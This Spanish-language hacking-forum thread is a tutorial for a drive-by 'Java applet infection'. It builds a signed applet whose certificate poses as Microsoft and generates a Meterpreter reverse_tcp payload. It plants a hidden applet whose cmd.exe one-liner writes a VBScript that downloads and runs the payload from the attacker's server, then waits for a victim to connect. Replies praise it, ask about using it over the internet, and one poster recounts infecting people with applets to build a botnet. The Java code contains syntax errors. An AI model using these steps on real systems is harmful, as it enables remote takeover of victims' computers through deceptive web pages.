[Metasploit] Java Applet Infection

Iniciado por Shell Root, 19 Enero 2010, 02:48 AM

0 Miembros y 1 Visitante están viendo este tema.

Shell Root

[Metasploit] Java Applet Infection


[Metasploit By: trashhgoo & Shell Root]



Está infeccion permite la ejecución de codigo remoto, por medio del navegador. Para lograr nuestro objetivo, necesitamos tener instalado dentro de nuestro P.C, algunos componentes necesarios para la compilación y ejecución de alguns archivos.

Primero instalaremos el JDK de JAVA para la compilacion del codigo en JAVA para la ejecución del codigo remoto.
shellroot@ShellRoot-desktop:~$ sudo apt-get install sun-java6-jdk

Tambien es necesario la instalacion del Apache2
shellroot@ShellRoot-desktop:~$ sudo apt-get install apache2

Ahora para que nos quede organizado y no, se nos pierdan archivos, crearemos una carpeta dentro de la carpeta personal. (/home/shellroot/)
shellroot@ShellRoot-desktop:~$ mkdir JavaAppletInfect

Nos movemos a la carpeta que acabamos de crear y bajamos el siguiente archivo http://spl0it.org/files/makeapplet.sh, no sin antes guardar el siguiente codigo como MSFcmd.java
Código (java) [Seleccionar]
import java.applet.*;
import java.awt.*;
import java.io.*;

public class MSFcmd extends Applet {
  public void init() {
     Process f;
     String first = getParameter("first");
     
     Try {
        f = Runtime.getRuntime().exec("first");
     }Catch(IOException e) {
        e.printStackTrace();
     }
     Process s;
  }
}


Ahora estamos listos para descargar y ejecutar el archivo makeapplet.sh. Así:
shellroot@shellroot-desktop:~/JavaAppletInfect$ wget http://spl0it.org/files/makeapplet.sh && chmod a+x ./makeapplet.sh
--2010-01-18 20:07:25--  http://spl0it.org/files/makeapplet.sh
Resolviendo spl0it.org... 205.138.55.249
Conectando a spl0it.org|205.138.55.249|:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 2184 (2,1K) [application/x-sh]
Guardando: «makeapplet.sh»

100%[======================================>] 2.184       --.-K/s   en 0,02s  

2010-01-18 20:07:26 (99,9 KB/s) - `makeapplet.sh' guardado [2184/2184]

shellroot@shellroot-desktop:~/JavaAppletInfect$ ./makeapplet.sh


Despues de ello, nos perdia una información para configurar nuestro certificado. Llenamos la informacion como queramos y al finalizar correctamente, se crearán los certificados del Script.
Enter the name of the applet without the extension:
MSFcmd
[+] Packaging the compiled class into a JAR file
[+] Generating key pairs
¿Cuáles son su nombre y su apellido?
 [Unknown]:  MSFcmd
¿Cuál es el nombre de su unidad de organización?
 [Unknown]:  Microsoft
¿Cuál es el nombre de su organización?
 [Unknown]:  Microsoft Organization
¿Cuál es el nombre de su ciudad o localidad?
 [Unknown]:  Medellin
¿Cuál es el nombre de su estado o provincia?
 [Unknown]:  Colombia
¿Cuál es el código de país de dos letras de la unidad?
 [Unknown]:  CO
¿Es correcto CN=MSFcmd, OU=Microsoft, O=Microsoft Organization, L=Medellin, ST=Colombia, C=CO?
 [no]:  si

[+] Signing the JAR file

Warning:
The signer certificate will expire within six months.
[+] Exporting the public key certificate
Certificado almacenado en el archivo <mycertificate.cer>
[+] Done


Deploy the JAR and certificate files. They should be deployed to a distribution directory on a Web server.

<applet width='1' height='1' code=MSFcmd.class archive=SignedMSFcmd.jar> </applet>

shellroot@shellroot-desktop:~


Ahora tenemos que copiar los archivos SignedMSFcmd.Jar y MSFcmd.Class dentro de la carpeta /var/www, despues de ello, iniciamos el Serividor Apache. Así:
shellroot@shellroot-desktop:~/JavaAppletInfect$ sudo cp SignedMSFcmd.jar /var/www
shellroot@shellroot-desktop:~/JavaAppletInfect$ sudo cp MSFcmd.class /var/wwwshellroot@shellroot-desktop:~/JavaAppletInfect$ aparche2ctl start
No command 'aparche2ctl' found, did you mean:
Command 'apache2ctl' from package 'apache2.2-common' (main)
aparche2ctl: command not found
shellroot@shellroot-desktop:~/JavaAppletInfect$ apache2ctl start
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
(13)Permission denied: make_sock: could not bind to address [::]:80
(13)Permission denied: make_sock: could not bind to address 0.0.0.0:80
no listening sockets available, shutting down
Unable to open logs
shellroot@shellroot-desktop:~/JavaAppletInfect$


Despues de realizar todo lo anterior, precedemos a realizar un ejecutable con un PAYLOAD en este caso usaré windows/meterpreter/reverse_tcp
shellroot@shellroot-desktop:~$ cd msf3
shellroot@shellroot-desktop:~/msf3$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.142.136 LPORT=1234 R | ./msfencode -t exe -o MSFcmd.exe
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)

shellroot@shellroot-desktop:~/msf3$


Movemos el ejecutable dentro de la carpeta /var/www y configuramos los permisos del archivo.
shellroot@shellroot-desktop:~/msf3$ sudo cp ./MSFcmd.exe /var/www/
shellroot@shellroot-desktop:~/msf3$ sudo chmod a+x /var/www/MSFcmd.exe
shellroot@shellroot-desktop:~/msf3$


Ahora el archivo (index.html) que se encuentra dentro de la carpeta /var/www, modificamos el contenido y le añadimos el Script Malicioso. Así:
Código (html) [Seleccionar]
<html>
<head><title></title></head>
<body>
  <applet width='1' height='1' code='MSFcmd.class' archive='SignedMSFcmd.jar'>

  <param name='first' value='cmd.exe /c echo Const adTypeBinary = 1 > C:\windows\apsou.vbs & echo Const adSaveCreateOverWrite = 2 >> C:\windows\apsou.vbs & echo Dim BinaryStream >> C:\windows\apsou.vbs & echo Set BinaryStream = CreateObject("ADODB.Stream") >> C:\windows\apsou.vbs & echo BinaryStream.Type = adTypeBinary >> C:\windows\apsou.vbs & echo BinaryStream.Open >> C:\windows\apsou.vbs & echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) >> C:\windows\apsou.vbs & echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> C:\windows\apsou.vbs & echo Function BinaryGetURL(URL) >> C:\windows\apsou.vbs & echo Dim Http >> C:\windows\apsou.vbs & echo Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") >> C:\windows\apsou.vbs & echo Http.Open "GET", URL, False >> C:\windows\apsou.vbs & echo Http.Send >> C: windows\apsou.vbs & echo BinaryGetURL = Http.ResponseBody >> C:\windows\apsou.vbs & echo End Function >> C:\windows\apsou.vbs & echo Set shell = CreateObject("WScript.Shell") >> C:\windows\apsou.vbs & echo shell.Run "C:\windows\MSFcmd.exe" >> C:\windows\apsou.vbs & start C:\windows\apsou.vbs http://192.168.142.136/MSFcmd.exe C:\windows\MSFcmd.exe'> </applet>
</body>
</html>


Ahora ingresamos a la Consola del Metasploit, y usamos el Auxiliar multi/handler, ingresamos los datos del PAYLOAD anterior con los mismo datos, y ejecutamos el exploit en segundo plano. Así:
shellroot@shellroot-desktop:~/msf3$ ./msfconsole

                o                       8         o   o
                8                       8             8
ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
8' 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8
8  8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


      =[ metasploit v3.3.3-release [core:3.3 api:1.0]
+ -- --=[ 481 exploits - 220 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops

msf exploit(handler) > back
msf > use multi/handler
reverse_tcpmsf exploit(handler) > set PAYLOAD windows/meterpreter/
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.142.136
LHOST => 192.168.142.136
msf exploit(handler) > set LPORT 1234
LPORT => 1234
msf exploit(handler) > save
Saved configuration to: /home/shellroot/.msf3/config
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler
[*] Starting the payload handler...


y esperamos a que alguien ingrese a la URL, para recibir la Session del Meterpreter.

PD: La victima al ejecutar se le mostratá el siguiente certificado Web. :D


Gr3tz: Rcart, Messerschmitt, Xzite






Mirando los tipos de infecciones que se pueden realizar para Inyectar un PAYLOAD, encontré un Papper de AnalyseR, publicado por Hacker_Zero, Mirad. (http://foro.elhacker.net/hacking_avanzado/poc_infeccion_mediante_java_applet_y_vbscript-t240306.0.html). Pero mirando el MSFUnleashed, me di cuenta que era el mismo tipo de infección, Mirad (http://www.offensive-security.com/metasploit-unleashed/Java-Applet-Infection-Method) así que no se quien es... :·P, igual no me importa... x·D
Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.

pUzzLe

En este caso la "victima" se conectaría a nosotros, si no me equivoco.

Gracias por el tuto, otro más para imprimir  :laugh:

Saludos.
Al que venciere, le daré que se siente conmigo en mi trono, así como yo he vencido, y me he sentado con mi Padre en su trono"  Apocalipsis 03:21

Debci

Señores, no es un espejismo, no e sun pájaro, es shell root con la manera mas increible que he visto de conseguir una shell...
Madre mia esto vale oro....

Saludos

Shell Root

Cita de: ..::| D3Bć1 |::. en 21 Enero 2010, 18:06 PMSeñores, no es un espejismo, no e sun pájaro, es shell root con la manera mas increible que he visto de conseguir una shell...
Madre mia esto vale oro...
jejeje

Joder, esto me tomo más de 1 Semana en ponerlo en practica!

Proximamente: Fast-Track And SET (Social Engineering Toolkit)
Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.

Debci

Cita de: Shell Root en 21 Enero 2010, 18:24 PM
Cita de: ..::| D3Bć1 |::. en 21 Enero 2010, 18:06 PMSeñores, no es un espejismo, no e sun pájaro, es shell root con la manera mas increible que he visto de conseguir una shell...
Madre mia esto vale oro...
jejeje

Joder, esto me tomo más de 1 Semana en ponerlo en practica!

Proximamente: Fast-Track And SET (Social Engineering Toolkit)
Eso es lo que me comentaste, pero un toolkit de ingenieria social? No me lo imagino simplemente, que trae coletillas para engañar? paginas para hacer phishing?

Saludos

S1dD3xt35

son geniales tus post  :-( de lo mejor ahora a practicar gracias :D ;-)

alexkof158

esto se podria hacer en wan? osea tendria que abrir puertos y configurar un servidor apache en mi pc?? 
Saludos
"noproxy"

[L]ord [R]NA

Cita de: alexkof158 en 30 Enero 2010, 01:30 AM
esto se podria hacer en wan? osea tendria que abrir puertos y configurar un servidor apache en mi pc?? 
Saludos

No veo porque no sea posible.

EgoPL

Muy bueno que hayan portado este método a metasploit, yo hace años usaba applets para conseguir bots.
Ponía algo interesante como juegos, reproductores de música etc y la gente al meterse y aceptar los permisos además de jugar al juego estaban descargando el bot, ejecutándolo y pasando a formar parte de la botnet.

alexkof158

Cita de: R.N.A. en 30 Enero 2010, 02:43 AM
Cita de: alexkof158 en 30 Enero 2010, 01:30 AM
esto se podria hacer en wan? osea tendria que abrir puertos y configurar un servidor apache en mi pc?? 
Saludos

No veo porque no sea posible.
lo digo porke este metodo es un pocoo viejo, y el firefox o ie 7 u 8 no lo dejan ejecutarse o si?
"noproxy"